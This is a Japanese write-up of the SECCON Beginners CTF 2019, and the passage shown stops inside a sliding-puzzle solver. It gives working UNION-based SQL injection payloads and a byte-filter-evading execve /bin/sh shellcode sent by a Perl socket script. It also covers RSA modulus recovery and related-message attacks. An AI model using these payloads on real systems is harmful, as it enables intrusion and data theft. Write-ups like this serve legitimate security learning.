はじめに
Beginners CTF 2019 に1人チームで参加し、1967点で666チーム中45位でした。
参考:第2回 SECCON Beginners CTF(5月25日)開催のお知らせ→登録開始しました! - SECCON 2018
成績:みけCATさんのツイート: "ソロで参加したのだ。とりあえず成績を晒すのだ。writeupとやらも書くのだ。 #ctf4b #SECCON (画像3枚)… "
この記事は、その参加記録のようなものです。
ログやメモなどからなるべく思考過程を再現しているつもりですが、
情報不足や整理などにより事実と異なる可能性があります。
解けた問題
Web
[warmup] Ramen
とりあえず名前の所に「' or 1=1 --
」と入れてSEARCHを押すと、
Fatal error: Uncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11 Stack trace: #0 {main} thrown in /var/www/web/public/index.php on line 11
と出た。このことからSQLインジェクションが可能であると推測できる。
さらに、Himitsu(解けなかった問題で後述)でMySQLが使われていたことから、この問題でもMySQLが使われていると予想した。
' or '1'='1
でSEARCHすると情報が出たが、フラグの情報は出ない。
また、' union select 1, '2
でSEARCHすると、名前「1」、一言「2%」という行が追加された。
このことから、unionによる情報の取得が可能であり、カラム数が2であることがわかる。
%がついたことから、likeが使われていることが予想できる。(このことは今回はあまり関係ない)
そこで、
MySQL :: MySQL 5.6 リファレンスマニュアル :: 21.4 INFORMATION_SCHEMA COLUMNS テーブル
を参考に
' union select TABLE_NAME, TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where 1=1 or '1'='3
でSEARCHした結果、flagテーブルがあることがわかった。さらに、
MySQL でテーブルやカラムの情報を確認する方法まとめ :: by and for engineers
を参考に
' union select TABLE_NAME, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where 1=1 or '1'='3
でSEARCHし、flagテーブルにはflagカラムがあるという情報を得た。
これをもとに、
' union select flag, flag from flag where 1=1 or '1'='3
でSEARCHすることで、flag ctf4b{a_simple_sql_injection_with_union_select}
が得られた。
katsudon
問題に「フラグは以下にあります。 」という説明がついたリンクがあり、リンク先には
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a`
という文字列があった。
また、問題では「クーポンコードを復号するコード」も与えられているが、
これはほぼAPIを呼び出しているだけであり、あまり情報がないと考えていた。
しかし、この呼び出しているAPIであるRails.application.message_verifier
でググったところ、
RailsのMessageVerifierの内部実装を追ってみた - Qiita
がヒットし、先ほどの文字列の--
で区切った前半部分はbase64エンコードした文字列らしいことがわかった。
そこで、これをbase64デコードすると、
| 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
---+-----------------------------------------------------------------
00 | 04 08 49 22 25 63 74 66 34 62 7B 4B 33 33 50 5F ..I"%ctf4b{K33P_
10 | 59 30 55 52 5F 35 33 43 52 33 37 5F 4B 33 59 5F Y0UR_53CR37_K3Y_
20 | 42 34 35 33 7D 06 3A 06 45 54 B453}.:.ET
となり、ここからflag ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
が得られた。
Pwnable
[warmup] shellcoder
指定のIPアドレスとポートにTera Termの「その他」で接続すると、Are you shellcoder?
と表示された。
そして、適当なキーを押してみると、すぐに接続が切れてしまった。
shellとのことなので、cat /etc/passwd
とかecho hoge
といった適当なコマンドを貼り付けて入力すると、
Payload contains invalid character!!
と表示された。
(直接キーを押して入力すると接続が切れてしまうため、貼り付けで入力した)
問題で与えられたファイルを7-Zipで解凍すると、shellcoder
1ファイルが得られた。
このファイルをバイナリエディタで開くと、先頭に「ELF」の文字が見えた。
これを普通にobjdumpにかけてもFile format not recognizedと出てしまったため、
バイナリエディタで目視し、機械語コードっぽい部分、すなわち
- まわりに比べて00でないバイトが多い
- 意味があるASCIIの文字列が少ない
を満たす部分を抽出した。今回は0x710~0xC2Fの部分を抽出した。
そして、これをseems_text.bin
として保存し、
objdump -m i386:x86-64 -b binary -D seems_text.bin
というコマンドで逆アセンブルした。
すると、main関数と推測できる部分は
157: 55 push %rbp
158: 48 89 e5 mov %rsp,%rbp
15b: 48 83 ec 10 sub $0x10,%rsp
15f: 41 b9 00 00 00 00 mov $0x0,%r9d
165: 41 b8 ff ff ff ff mov $0xffffffff,%r8d
16b: b9 21 00 00 00 mov $0x21,%ecx
170: ba 07 00 00 00 mov $0x7,%edx
175: be 00 10 00 00 mov $0x1000,%esi
17a: bf 00 00 00 00 mov $0x0,%edi
17f: e8 1c fe ff ff callq 0xffffffa0
184: 48 89 45 f8 mov %rax,-0x8(%rbp)
188: 48 8d 3d 39 01 00 00 lea 0x139(%rip),%rdi # 0x2c8
18f: e8 fc fd ff ff callq 0xffffff90
194: 48 8b 45 f8 mov -0x8(%rbp),%rax
198: ba 28 00 00 00 mov $0x28,%edx
19d: 48 89 c6 mov %rax,%rsi
1a0: bf 00 00 00 00 mov $0x0,%edi
1a5: e8 36 fe ff ff callq 0xffffffe0
1aa: 48 8b 45 f8 mov -0x8(%rbp),%rax
1ae: be 62 00 00 00 mov $0x62,%esi
1b3: 48 89 c7 mov %rax,%rdi
1b6: e8 05 fe ff ff callq 0xffffffc0
1bb: 48 85 c0 test %rax,%rax
1be: 75 58 jne 0x218
1c0: 48 8b 45 f8 mov -0x8(%rbp),%rax
1c4: be 69 00 00 00 mov $0x69,%esi
1c9: 48 89 c7 mov %rax,%rdi
1cc: e8 ef fd ff ff callq 0xffffffc0
1d1: 48 85 c0 test %rax,%rax
1d4: 75 42 jne 0x218
1d6: 48 8b 45 f8 mov -0x8(%rbp),%rax
1da: be 6e 00 00 00 mov $0x6e,%esi
1df: 48 89 c7 mov %rax,%rdi
1e2: e8 d9 fd ff ff callq 0xffffffc0
1e7: 48 85 c0 test %rax,%rax
1ea: 75 2c jne 0x218
1ec: 48 8b 45 f8 mov -0x8(%rbp),%rax
1f0: be 73 00 00 00 mov $0x73,%esi
1f5: 48 89 c7 mov %rax,%rdi
1f8: e8 c3 fd ff ff callq 0xffffffc0
1fd: 48 85 c0 test %rax,%rax
200: 75 16 jne 0x218
202: 48 8b 45 f8 mov -0x8(%rbp),%rax
206: be 68 00 00 00 mov $0x68,%esi
20b: 48 89 c7 mov %rax,%rdi
20e: e8 ad fd ff ff callq 0xffffffc0
213: 48 85 c0 test %rax,%rax
216: 74 16 je 0x22e
218: 48 8d 3d c1 00 00 00 lea 0xc1(%rip),%rdi # 0x2e0
21f: e8 6c fd ff ff callq 0xffffff90
224: bf 00 00 00 00 mov $0x0,%edi
229: e8 52 fd ff ff callq 0xffffff80
22e: 48 8b 55 f8 mov -0x8(%rbp),%rdx
232: b8 00 00 00 00 mov $0x0,%eax
237: ff d2 callq *%rdx
239: b8 00 00 00 00 mov $0x0,%eax
23e: c9 leaveq
23f: c3 retq
となっていた。
これを見ると、即値として書かれている0x28、0x62、0x69、0x6e、0x73、0x68がポイントになりそうに思えた。
これらは、ASCIIでは(、b、i、n、s、hであった。この文字の組み合わせとshellというキーワードから、
/bin/sh
となにか関係がありそうに思えた。
さらに重要なポイントとして、アドレス237において、
なんと驚くべきことに入力された文字列を機械語の関数として呼び出しているということが読み取れた。
任意コード実行の脆弱性というより、これは最初から任意コードを実行する仕様のようである。
そこで、ここに入力して実行してもらうコードを作る作業に移ることにした。
実験を行った結果、入力に0x62、0x69、0x6e、0x73、0x68のいずれかが入っていると実行してくれないようであった。
また、入力の長さが0x28バイトを超えてしまうと、うまく実行できないようであった。
この制約をかわしつつ、うまくflagを取得できるような機械語コードを作れば良さそうである。
幸い、短い機械語を書くのはデスマコロシアムで経験していた。
そして、nasmを用いることで、アセンブリ言語をx86-64の機械語に変換してくれる。
システムコールの情報は、
Linux System Call Table for x86 64 · Ryan A. Chapman
などを参考にした。
まず意味がある情報を得られたのが、execveシステムコールを用いてls
を実行する以下のコードである。
bits 64
; /bin/ls
mov rax, 0x70602060606020
mov rdi, 0x030C0f0e09020f
add rax, rdi
push rax
mov rdi, rsp ; filename
xor rdx, rdx ; envp
push rdx
push rdi
mov rsi, rsp ; argv
push 59
pop rax ; sys_execve
syscall
000000 48 b8 20 60 60 60 20 60 70 00 48 bf 0f 02 09 0e
000010 0f 0c 03 00 48 01 f8 50 48 89 e7 48 31 d2 52 57
000020 48 89 e6 6a 3b 58 0f 05
000028
チェックに引っかかるバイトを含まず、ちょうど0x28バイトである。
この成果だけからではわからないが、以下のポイントがあった。
-
add rax, 即値
命令では即値が32ビットを超えられないようだったので、一旦レジスタに格納してからadd
した。 -
mov rdx, 0
やmov rax, 59
では数値で4バイト使ってしまうので、xor
やpush
・pop
で代用した。 - すでに0にした
rdx
を用いてpush rdx
するほうが、push 0
より短くなった。 - どうせexecveが成功すれば今のプログラムは消えるので、
syscall
の後でスタックの片付けやret
をする必要はない。
バイナリデータをTera Termに貼り付けるのは難しそうなので、この入力を与えるために以下のプログラムを用いた。
#!/usr/bin/perl
use strict;
use warnings;
my $data = "";
open(FILE, "< $ARGV[0]") or die("file open failed\n");
binmode(FILE);
while (<FILE>) { $data .= $_; }
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"153.120.129.186", PeerPort=>20000, Proto=>"tcp");
die "socket error $!\n" unless $sock;
print $sock $data;
while (<$sock>) { print; }
close($sock);
このプログラムの引数に先ほどの機械語データ(ダンプではなくバイナリ)のファイルを与えて実行すると、
Are you shellcoder?
flag.txt
shellcoder
という出力が得られた。このことから、次にこのflag.txt
を読む方法を考えることにした。
しかし、コードの長さはlsを引数なしで呼んだだけでギリギリであり、
catコマンドやopenシステムコールを用いてファイルを読むのは厳しそうである。
そこで考えた方法は、先ほどのコードの
; /bin/ls
mov rax, 0x70602060606020
mov rdi, 0x030C0f0e09020f
の部分を
; /bin/sh
mov rax, 0x60702060606020
mov rdi, 0x08030f0e09020f
とし、続いて標準入力からシェルのコマンドを与えることであった。
このシェルのコマンドを与えるため、先ほどの通信プログラムの
print $sock $data;
の後に
print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
を追加した。これを実行すると、
Are you shellcoder?
flag.txt
shellcoder
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
という出力が得られた。
Reversing
[warmup] Seccompare
問題で与えられたファイルを7-Zipで展開すると、._seccompare
およびseccompare
の2ファイルが得られた。
前者のファイルは、重要な情報は含まないリソースフォークのようであった。
(このリソースフォークに気に入らない情報がある時、OSが嘘をついてユーザーを困らせる事件があったが、ここではあまり関係ない)
後者のファイルをバイナリエディタで開くとELFの文字が見えたので、
同様に機械語コードっぽかった0x498~0x8D4の部分を切り取り、objdumpで逆アセンブルした。
すると、何らかの文字列を生成していると考えられる
198: c6 45 d0 63 movb $0x63,-0x30(%rbp)
19c: c6 45 d1 74 movb $0x74,-0x2f(%rbp)
1a0: c6 45 d2 66 movb $0x66,-0x2e(%rbp)
1a4: c6 45 d3 34 movb $0x34,-0x2d(%rbp)
1a8: c6 45 d4 62 movb $0x62,-0x2c(%rbp)
1ac: c6 45 d5 7b movb $0x7b,-0x2b(%rbp)
1b0: c6 45 d6 35 movb $0x35,-0x2a(%rbp)
1b4: c6 45 d7 74 movb $0x74,-0x29(%rbp)
1b8: c6 45 d8 72 movb $0x72,-0x28(%rbp)
1bc: c6 45 d9 31 movb $0x31,-0x27(%rbp)
1c0: c6 45 da 6e movb $0x6e,-0x26(%rbp)
1c4: c6 45 db 67 movb $0x67,-0x25(%rbp)
1c8: c6 45 dc 73 movb $0x73,-0x24(%rbp)
1cc: c6 45 dd 5f movb $0x5f,-0x23(%rbp)
1d0: c6 45 de 31 movb $0x31,-0x22(%rbp)
1d4: c6 45 df 73 movb $0x73,-0x21(%rbp)
1d8: c6 45 e0 5f movb $0x5f,-0x20(%rbp)
1dc: c6 45 e1 6e movb $0x6e,-0x1f(%rbp)
1e0: c6 45 e2 30 movb $0x30,-0x1e(%rbp)
1e4: c6 45 e3 74 movb $0x74,-0x1d(%rbp)
1e8: c6 45 e4 5f movb $0x5f,-0x1c(%rbp)
1ec: c6 45 e5 65 movb $0x65,-0x1b(%rbp)
1f0: c6 45 e6 6e movb $0x6e,-0x1a(%rbp)
1f4: c6 45 e7 30 movb $0x30,-0x19(%rbp)
1f8: c6 45 e8 75 movb $0x75,-0x18(%rbp)
1fc: c6 45 e9 67 movb $0x67,-0x17(%rbp)
200: c6 45 ea 68 movb $0x68,-0x16(%rbp)
204: c6 45 eb 7d movb $0x7d,-0x15(%rbp)
208: c6 45 ec 00 movb $0x0,-0x14(%rbp)
という部分があった。
そこで、この部分をテキストエディタの置換機能などで以下の実行できるコードに変換し、
.global hoge
.global _hoge
hoge:
_hoge:
movl 4(%esp), %eax
movb $0x63,-0x30(%eax)
movb $0x74,-0x2f(%eax)
movb $0x66,-0x2e(%eax)
movb $0x34,-0x2d(%eax)
movb $0x62,-0x2c(%eax)
movb $0x7b,-0x2b(%eax)
movb $0x35,-0x2a(%eax)
movb $0x74,-0x29(%eax)
movb $0x72,-0x28(%eax)
movb $0x31,-0x27(%eax)
movb $0x6e,-0x26(%eax)
movb $0x67,-0x25(%eax)
movb $0x73,-0x24(%eax)
movb $0x5f,-0x23(%eax)
movb $0x31,-0x22(%eax)
movb $0x73,-0x21(%eax)
movb $0x5f,-0x20(%eax)
movb $0x6e,-0x1f(%eax)
movb $0x30,-0x1e(%eax)
movb $0x74,-0x1d(%eax)
movb $0x5f,-0x1c(%eax)
movb $0x65,-0x1b(%eax)
movb $0x6e,-0x1a(%eax)
movb $0x30,-0x19(%eax)
movb $0x75,-0x18(%eax)
movb $0x67,-0x17(%eax)
movb $0x68,-0x16(%eax)
movb $0x7d,-0x15(%eax)
movb $0x0,-0x14(%eax)
ret
これを実行するための以下のコードも作り、
#include <stdio.h>
char* hoge(char*);
int main(void) {
char buffer[512];
int i;
for (i = 0; i < 512; i++) buffer[i] = ' ';
buffer[511] = 0;
hoge(buffer + 256);
puts(buffer);
return 0;
}
実行すると、ctf4b{5tr1ngs_1s_n0t_en0ugh}
という文字列が出てきた。
Crpto
Party
与えられたファイルを7-Zipで展開すると、encrypt.py
およびencrypted
の2ファイルが得られた。
encrypted
の中身は、多くの数字と少しの記号を含むテキストファイルのようであった。
encrypt.py
を読むと、
val[0] = coeff[0] * 1 + coeff[1] * party[0] + coeff[2] * party[0] * party[0]
val[1] = coeff[0] * 1 + coeff[1] * party[1] + coeff[2] * party[1] * party[1]
val[2] = coeff[0] * 1 + coeff[1] * party[2] + coeff[2] * party[2] * party[2]
のparty
とval
の値を出力するようであり、encrypted
はこのファイルの出力であると予想できた。
この予想が正しいと仮定すると、val
とparty
の値がわかっており、coeff
の値を求めたいことになる。
未知の変数が3個、方程式が3個あるので、普通の連立方程式で解くことができそうであった。
そこで、encrypted
の中身の数値を順番に1行ずつにしたファイルdata.txt
を用意し、以下のプログラムで解いた。
file = open("data.txt", "r")
party = []
val = []
for i in range(3):
party.append(int(file.readline()))
val.append(int(file.readline()))
file.close()
data = [[1, party[i], party[i] * party[i], val[i]] for i in range(3)]
def sublist(a, b):
if len(a) != len(b):
raise Exception("len(a) != len(b)")
return [a[i] - b[i] for i in range(len(a))]
def mullist(a, b):
return [a[i] * b for i in range(len(a))]
a1 = sublist(data[0], data[1])
a2 = sublist(data[1], data[2])
a1_2 = mullist(a1, a2[1])
a2_2 = mullist(a2, a1[1])
b = sublist(a1_2, a2_2)
if b[3] % b[2] != 0:
raise Exception("OMG")
c2 = b[3] // b[2]
hoge = a1[3] - a1[2] * c2
if hoge % a1[1] != 0:
raise Exception("OMG!")
c1 = hoge // a1[1]
c0 = data[0][3] - data[0][2] * c2 - data[0][1] * c1
print(c0)
print(c1)
print(c2)
この出力を元に、coeff[0]
、すなわちsecret
の値を以下のコードで文字列に変換した。
data = 175721217420600153444809007773872697631803507409137493048703574941320093728
res = ""
while data > 0:
res = chr(data % 256) + res
data //= 256
print(res)
すると、ctf4b{just_d0ing_sh4mir}
の後に7個の半角空白がついた出力が得られた。
Go RSA
問題文は「Nだけなくしちゃった」と主張している。
指定のIPアドレスとポートにTera Termの「その他」で接続すると、
- Encrypted flagとして大きな整数を出力する。
- 整数の入力を受け付ける。整数を入力すると、それに対応すると予想できる整数を出力する。これを最大3回行う。
- Dとして大きな整数を出力し、切断する。
という動作をするようだった。
2において、1を入力すると1が出力され、2以上を入力すると大きな整数が出力されるようだったので、
RSAということも踏まえ、入力された整数の(何らかの数)乗を(何らかの数)で割ったあまりが出力されると予想できた。
考えた結果、入力としてある数の2乗、3乗の数を与えると、出力も2乗、3乗のあまりになることに気がついた。
さらに、あまりは割られる数から割る数の整数倍を引いた値になることにも注目した。
その結果、例えば2、4(2の2乗)、8(2の3乗)を入力したときの出力X、Y、Zから、
X = a^e mod n
Y = (a*a)^e mod n = (a^e mod n)^2 mod n
Z = (a*a*a)^e mod n = (a^e mod n)^3 mod n
Y = X*X - k*n
Z = X*X*X - l*n
k*n = X*X - Y
l*n = X*X*X - Z
という計算により、割る数nを公約数にもつ2個の値を得られることに気がついた。
kとlが互いに素でないと失敗しそうであるとはいえ、この2個の値の最大公約数をとれば、nが得られる可能性がある。
この計算を行うプログラム
import sys
s = sys.stdin
s.readline()
s.readline()
x = int(s.readline())
s.readline()
y = int(s.readline())
s.readline()
z = int(s.readline())
kn = x*x - y
ln = x*x*x - z
asumisu = kn
mizuhasu = ln
while mizuhasu > 0:
sinntasu = asumisu % mizuhasu
asumisu = mizuhasu
mizuhasu = sinntasu
print(asumisu)
に、通信の記録
Encrypted flag is: 12968484664095522062317547964770334394674293985796898385914578647244488731997515822033886983544579317900161775107280211719709190488120045995279166076857970878710064033153487421882534814506483152943389455581001778407755420166428916127844036606938757900301403646886327393814245536073917730165916373193691368297497139511533568431948170125564849799489770360583965827387013302945005978796837695972560304594892016772403622637673057003665472918568072548580225352479233430485655501342554221996572866401240638639293592162167685111462533150504777316881903592046285552352170050041840902287345552862364769094806569564909568476655
> 2
620517047040878891229747270597970604280606632383061817641013225972474578118090371816409969813227497868496013826787634232331770505271744232321322357239318813401698281146876764263223150126645385974930789960801423173363010153643690290499617353500177900877395796927372312399626761823433821743298082814217744276907153319462991388971942826443204443419584956366676808954603926289715132026876597932853104871665792458622523502032259150963092535644538747784384772105376460895356011431772108577326729094589127407645706363480195394270351282560489999391559545814937339833087196231399072538531256669308170450280100918956742348277
> 4
16179746374879644966102073961700669374219462742570766317023131488184269235058174266636320733911838251615188879398239854763249822099861370917627409691580337513969145306846444827518587151206253664155468688858438138030649915975059174336210330799896903569510907148194801734646102731115383942091023541531198580345456041053231187654890135609003019425552803962146555738990279867936113607134211112565307882168563930052451853722069579791245645491149550024608822975154741221781596656687691170580722423275443888038228821161807929316121418578291082095362914978978293798324202502421766571227177655511520874580245288811674270726875
> 8
12217164569464658721385783463852207351995060559458817092789594592718781909066282420327065531884715125356932461442528994269694155964224625045777417904630423956457905608128224487395407035383467874587959228476638635010684096378151870709507931006124407002937406366484834012437632921662780849259536130061756827577741672768561910740466330797649127716387838939929139587914842977536104089568448104736421467615190090315031193697752634828040330456461033424458867115403726420788140693214500090560798203843687696664398807625625103462782856380168552153854527329477341982042498950762707517500750691353105617765747368248899619338154
The D was 14892931564659946751076364001889048329817927962147420692031849755936937325161319653151989064562025072407456485226523831371763806890132259347437276883400300902935777436295914845139759744368844376435028049549534255857448751305823517811479984356001950484730883065017704813245247567194492388759499757819959011370105194371150872336355551088897934267360489788399426110426889357125446985528234860576510314150671537157159789107705031502782838367298600119421990968944456473004122373494532695143639045012220249023511356844022282721987751217681859787520687977068608595781187506533180838080624114542881571311388321688806873000705
を与えて実行すると、
18467381668680824381769690221596203746145416348581993300039569693764456623762533226909519172863873404419274117768309474317174082573196811489688125616956889432295883710030374843069787980903295124090335905610531796831333134305792702013376291053116245911560733433589368809991178948974976305194341474840056265196720645056995071633309617287474000166120098899128916217071927851786852243755559745800326893389462274881772252539742235489595958263584402009658703992636218796351415524164369343473951140143405752575354991287025942531851724269340436379049725977221536602433396064106962418531766572081246964090573900428139223344021
という出力が得られた。
これをnだと仮定し、以下のプログラムで文字列を求めた。
encrypted = 12968484664095522062317547964770334394674293985796898385914578647244488731997515822033886983544579317900161775107280211719709190488120045995279166076857970878710064033153487421882534814506483152943389455581001778407755420166428916127844036606938757900301403646886327393814245536073917730165916373193691368297497139511533568431948170125564849799489770360583965827387013302945005978796837695972560304594892016772403622637673057003665472918568072548580225352479233430485655501342554221996572866401240638639293592162167685111462533150504777316881903592046285552352170050041840902287345552862364769094806569564909568476655
d = 14892931564659946751076364001889048329817927962147420692031849755936937325161319653151989064562025072407456485226523831371763806890132259347437276883400300902935777436295914845139759744368844376435028049549534255857448751305823517811479984356001950484730883065017704813245247567194492388759499757819959011370105194371150872336355551088897934267360489788399426110426889357125446985528234860576510314150671537157159789107705031502782838367298600119421990968944456473004122373494532695143639045012220249023511356844022282721987751217681859787520687977068608595781187506533180838080624114542881571311388321688806873000705
n = 18467381668680824381769690221596203746145416348581993300039569693764456623762533226909519172863873404419274117768309474317174082573196811489688125616956889432295883710030374843069787980903295124090335905610531796831333134305792702013376291053116245911560733433589368809991178948974976305194341474840056265196720645056995071633309617287474000166120098899128916217071927851786852243755559745800326893389462274881772252539742235489595958263584402009658703992636218796351415524164369343473951140143405752575354991287025942531851724269340436379049725977221536602433396064106962418531766572081246964090573900428139223344021
data = pow(encrypted, d, n)
res = ""
while data > 0:
res = chr(data % 256) + res
data //= 256
print(res)
その結果、ctf4b{f1nd_7he_p4ramet3rs}
という出力が得られた。
Bit Flip
指定のIPアドレスとポートにTera Termの「その他」で接続すると、
大きい整数が1個出力され、すぐに切断されるようであった。
出力される整数は、毎回変わるようであった。
与えられたコードを読んだ結果、この整数は、数値化したflagの下位4分の1から1ビットを反転し、
3乗したものをNで割った余りのようであった。
Nは10進数で308桁なので、約1000ビットである。
そして、下位からnビット目(0-origin)を反転することの効果は、もとの数値に2のn乗を足すか引くかである。
これを踏まえ、
公開鍵暗号 - RSA - 基礎 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです
などでRSA暗号への攻撃について調べた結果、
Franklin-Reiter Related Message Attackというのが使えそうであることがわかった。
この攻撃方法はLow-Exponent RSA with Related Messagesにかかれており、
今回の場合はe=3なので、深く考えずに2ページ目の式をα=1で使えばよい。
ただし、今回得られる2個の平文はそれぞれどこか1ビットが反転しているが、どこが反転しているかはわからない。
そこで、どこが反転しているか、そしてどっち向きに反転しているかを全探索することにした。
当たればflagの文字列が出てくると仮定し、この全探索を実装したのが以下のコードである。
n = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
c1 = 25138036236405664974027229470640486719995035492067341819862000247619436232608813726316842755297086267054127101107927351169810713998732340978333710972218130953186042217594817358002450383826009659091497317753363517397431946920947144520433915471925013429582983019764594262561222272278469484033179820128674680252
c2 = 26481213542704101675110199745669529695325877848624565668561662861204500360579976292570630436833011367359803773772883067535404022300084829509142130326532785824482583422222323015400802606909332900978841037209435856260974355456304466144949768850834519221013991419108523647259166541535631881583879282864442529426
# http://taichino.com/programming/2628
def egcd(a, b):
(x, lastx) = (0, 1)
(y, lasty) = (1, 0)
while b != 0:
q = a // b
(a, b) = (b, a % b)
(x, lastx) = (lastx - q * x, x)
(y, lasty) = (lasty - q * y, y)
return (lastx, lasty, a)
def modinv(a, m):
(inv, q, gcd_val) = egcd(a, m)
return inv % m
def num2str(n):
res = ""
while n > 0:
if n % 256 > 127:
return ""
res = chr(n % 256) + res
n = n // 256
return res
for b1 in range(300):
for b2 in range(b1 + 1, 300):
d1 = 1 << b1
d2 = 1 << b2
for b in [d1 + d2, d1 - d2, -d1 + d2, -d1 - d2]:
bunsi = b * (c2 + 2*c1 - b*b*b)
bunbo = c2 - c1 + 2*b*b*b
value = (bunsi * modinv(bunbo, n)) % n
s = num2str(value)
if s.find("ctf") >= 0:
print("b1 = %d, b2 = %d, s = %s" % (b1, b2, s))
このコードを実行した結果、
b1 = 212, b2 = 243, s = ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMIDUMMYDUMMYDUMMYDUMMYDUMMY
という出力が得られた。
Misc
[warmup] Welcome
IRC: freenode.net #seccon-beginners-ctf
とのことだったので、LimeChatでIRCへの接続を試みた。
ホスト名を書かれている通りfreenode.net
に設定し、
TCPやUDPにおけるポート番号の一覧 - Wikipedia
を参考にIRC系のポート番号を試していき、SSL接続のオンオフも試したが、接続できなかった。
そこで、freenode.netでググった結果、
Connecting to freenode - freenode
がヒットした。
そして、ここを参考に、ホスト名をchat.freenode.net
、ポート番号を6697、SSL接続をオンに設定した。
すると、接続に成功し、
topic : 競技に関する質問等はこちらで受け付けます FLAG: ctf4b{welcome_to_seccon_beginners_ctf}
という形でflagが現れた。
containers
与えられたファイルをテキストエディタで開くと、IHDRという文字列が多く見られた。
したがって、このファイル中にはPNGファイルが多く含まれていると予想できた。
そこで、「以前聞いた、ディスクイメージなどから画像ファイルなどを抽出するソフト」の利用を試みることにした。
メモに基づいてForemostをダウンロードし、ビルドを試みた。
configure
ファイルはなくMakefile
ファイルはあったことから、とりあえずmake
コマンドを打ったところ、
__U16_TYPE
が定義されていないというエラーになってしまった。
そこで、エラーになったファイルをコマンドラインに-D__U16_TYPE="unsigned short"
オプションを追加して手動でコンパイルし、
ビルドを進めたところ、-liberty
が見つからないというエラーになってしまった。
そのため、手間がかかりそうだと判断し、Foremostの利用は諦めた。
次に、与えられたファイルをバイナリエディタで開き、もう少しよく観察すると、
最初に「CONTAINER.」という文字列があり、その後「FILE(数字).」の後にデータが続く構造の繰り返しのようであった。
バイナリエディタで「FILE」を検索してみた結果、このファイルで「FILE」の後に来るのはPNGデータだけのようであった。
そこで、以下のプログラムにより、PNGのシグネチャから始まる部分を抽出した。
import sys
inn = sys.argv[1]
inf = open(inn, "rb")
data = inf.read()
sig = b"\x89\x50\x4E\x47\x0d\x0a\x1a\x0a"
start = 0
count = 0
while True:
next = data.find(sig, start)
if next < 0:
break
of = open("out/%03d.png" % count, "wb")
count += 1
of.write(data[next:])
of.close()
start = next + 1
このプログラムにより、39個のPNGファイルが得られた。
もとのファイルの最後まで抽出しているため、PNGデータの後に余計なデータがくっつくが、
画像の閲覧には支障が無いようであった。
PNGファイルには、1枚に1文字ずつ文字が書かれていた。
それらを順番に書き出していくと、ctf4b{e52df60c058746a66e4ac4f34db6fc81}
となった。
Dump
与えられたファイルをバイナリエディタで開くと、HTTP通信と思われる文字列が見えた。
そこで、strings
コマンドを用いて文字列を抽出してみた。
すると、だいたいはデータが出てきたが、一部にゴミが入ってしまい、これを取り除くのは手間が掛かりそうだと感じた。
そこで、与えられたファイルをWiresharkにドロップしてみた。
その結果、読み込みに成功し、少量のICMPパケットと大量のTCPパケットが表示された。
その中から2本目のHTTPレスポンスが始まっていると思われるパケットを右クリックし、
「追跡」→「TCPストリーム」を選択した。
すると、HTTPのchunkedエンコーディングのデータ長は入っているが、
中途半端な位置にはゴミが入っていないデータが得られた。
そこで、以下のプログラムにより、「数字3文字→空白→数字3文字」のパターンが入っていない行を取り除いた。
#!/usr/bin/perl
use strict;
use warnings;
while (my $line = <STDIN>) {
if ($line =~ /\d{3} \d{3}/) {
print $line;
}
}
そして、これらの数字は3文字ずつ並んでいるから8進数であると思い、以下のプログラムでバイト列に変換した。
#include <stdio.h>
int main(int argc, char* argv[]) {
FILE* o;
char in[8];
if (argc < 2 || (o = fopen(argv[1], "wb")) == NULL) {
puts("error");
return 1;
}
while (scanf("%7s", in) == 1) {
int ini = 0;
if (sscanf(in, "%o", &ini) == 1) {
putc(ini, o);
}
}
fclose(o);
return 0;
}
すると、よくわからないファイルが得られた。
これを7-Zipで開いてみると、開くことができ、flag.jpg
と./._flag.jpg
が得られた。
ここから、./._flag.jpg
は重要ではなさそうと判断し、flag.jpg
のみを取り出した。
すると、画像中にctf4b{hexdump_is_very_useful}
という文字列が書かれていた。
Sliding puzzle
以下の問題文、およびIPアドレスとポートが与えられた。
スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。
スライドパズルは以下のように表示されます。
----------------
| 0 | 2 | 3 |
| 6 | 7 | 1 |
| 8 | 4 | 5 |
----------------
0 はブランクで動かすことが可能です。操作方法は以下のとおりです。
0 : 上
1 : 右
2 : 下
3 : 左
最終的に以下の形になるように操作してください。
----------------
| 0 | 1 | 2 |
| 3 | 4 | 5 |
| 6 | 7 | 8 |
----------------
操作手順は以下の形式で送信してください。
1,3,2,0, ... ,2
指定のIPアドレスとポートにTera Termの「その他」で接続すると、以下のような出力が得られた。
----------------
| 01 | 02 | 05 |
| 07 | 06 | 04 |
| 03 | 08 | 00 |
----------------
問題文に無かった0が入ってるやんけ、「ように」の範囲か…?と思いつつ、
適当に方向を入力すると、1文字入力した時点ですぐに[-] Incorrect answer.
と出力され、接続が切れてしまった。
そこで、TCPなのに受信されるデータの区切りに依存するウンコードか…?と思いつつ、解くためのプログラムを書くことにした。
この3×3のスライドパズルの盤面の状態は高々9! = 362880通りのはずなので、普通の幅優先探索で解けるはずである。
以下が今回書いたプログラムである。
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV + 0 >= 1 && $ARGV[0] eq "test") {
#print(&up("012345678")."\n");
#print(&up("312045678")."\n");
#print(&up("312645078")."\n");
#print(&up("312645708")."\n");
#print(&up("312405678")."\n");
#print(&down("012345678")."\n");
#print(&down("102345678")."\n");
#print(&down("312045678")."\n");
#print(&down("312645078")."\n");
#print(&down("312645708")."\n");
#print(&down("312405678")."\n");
#print(&left("012345678")."\n");
#print(&left("312045678")."\n");
#print(&left("312645708")."\n");
